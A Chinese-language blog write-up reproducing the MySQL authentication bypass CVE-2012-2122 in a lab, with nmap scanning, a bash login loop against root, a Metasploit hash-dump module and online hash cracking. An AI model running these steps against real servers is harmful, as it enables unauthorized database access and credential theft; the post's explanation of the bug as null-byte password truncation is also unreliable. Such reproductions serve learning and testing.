mysql身份認證繞過漏洞復現(CVE-2012-2122)

狐小妖發表於2024-05-04

情景模擬

在某個夜黑風高的夜晚裡,我開啟了kali準備通往屬於你的網路世界中,維護正義與和平,kali後連上了網路世界,進入了我的組織頻道,由於時間差,正好那邊是白天,我的上級給了我一個任務:

img

很顯然,上級想要這個的資料庫,我先不管他提供的資訊,我先針對目標做一次簡單的資訊收集;

資訊收集

使用kali中提供的工具nmap對這個目標進行簡單掃描:nmap 192.168.3.100
image

​ 很顯然,確實如BOSS所說,只看見22埠和3306埠的開放,根據回憶中的知識,22是ssd埠,提供遠端登入了,如果可以跑出密碼,估計BOSS也不會找我了,那麼入手點就先從3306開始吧,3306埠是MySQL的預設埠,按照思路,可以嘗試遠端爆破登入MySQL,也就是跑弱口令了,方法和爆破ssh一樣,先看一下MySQL是哪個版本的,是否存在漏洞。

image

​ 如圖,我使用-sV(啟用版本檢測)引數掃描出MySQL版本為5.5.23,依稀記得這個版本似乎存在“mysql身份認證繞過漏洞(CVE-2012-2122)”

這個漏洞的細節涉及到 MySQL 伺服器中的加密方式和驗證流程。在 MySQL 5.1.61 之前的版本中,當使用者使用帶有非 ASCII 字元(如空格或其他特殊字元)的密碼進行登入時,MySQL 伺服器會截斷密碼,並僅使用第一個字元進行驗證。這就意味著,如果使用者提供了一個以正確字元開頭的密碼,後面跟著任意字元的字串,即使後續字元錯誤,MySQL 伺服器仍然會認為密碼是正確的,並允許使用者登入。

例如,假設使用者的密碼是 "password",但是攻擊者提供的密碼是 "p\x00assword"(\x00 是空字元),在此情況下,MySQL 伺服器會截斷密碼,並只使用 "p" 進行驗證,因此無論後面的部分是什麼,都會認為密碼是正確的。

這個漏洞允許攻擊者繞過密碼驗證,以任何使用者身份登入到 MySQL 伺服器,並執行未經授權的操作。

受影響版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6

漏洞檢測

​ 利用“mysql身份認證繞過漏洞(CVE-2012-2122)”的方法檢測:

┌──(root㉿kali)-[/home/huxiaoyao]
└─# for i in `seq 1 100`; do for c in {a..z}; do mysql -uroot -pwrong -h 192.168.3.100 -P3306; done; done

命令解釋:

  1. for i in `seq 1 100`;: 這個部分定義了一個迴圈,從 1 迴圈到 100。

  2. for c in {a..z};: 在每次迴圈中,它又定義了另一個迴圈,從字母 'a' 迴圈到 'z'。

  3. mysql -uroot -pwrong -h 192.168.3.100 -P3306;: 在內部迴圈中,它嘗試使用 mysql 命令連線到 MySQL 資料庫。具體地:

    • -uroot: 指定使用者名稱為 root。
    • -pwrong: 指定密碼為 wrong。
    • -h 192.168.3.100: 指定要連線的 MySQL 主機的 IP 地址為 192.168.3.100。
    • -P3306: 指定連線的埠號為 3306。

    由於密碼是錯誤的,這個指令碼實際上是在暴力破解 MySQL 資料庫的 root 使用者密碼,嘗試使用 26 個小寫字母作為密碼的一部分。

​ 結果如下,很顯然,該漏洞存在。。

image

我可以檢視一下是不是可以操作:

image

​ 很顯然該有的操作,都是可以操作的;

其他利用方法

​ 除了直接寫迴圈登入指令碼外,我還可以採用msf提供的功能,msfconsole啟動!!!

image

​ 前面提到過這個漏洞的編號“CVE-2012-2122”,可以在msf裡面搜尋一下:search CVE-2012-2122

image

​ 有這個漏洞指令碼,嘗試使用它:use auxiliary/scanner/mysql/mysql_authbypass_hashdump

image

​ 檢視到有以上引數,只有rhost是空白的,其他都預設好了,我就只設定一下目標地址就好了:set rhost 192.168.3.100,然後執行起來:run

image

​ 在上圖可以看到,目標已經成功解出,並且密碼儲存在/root/.msf/下面;

image

​ 拿第一個到解密平臺進行解密:https://www.cmd5.com/

image

​ 直接就識別出來了,密碼為passwd123;

​ 至此,BOSS的任務已經完成了,將任務給BOSS吧;

​ 恭喜任務完成,獲得獎勵:經驗+1000,金幣:+100

image

相關文章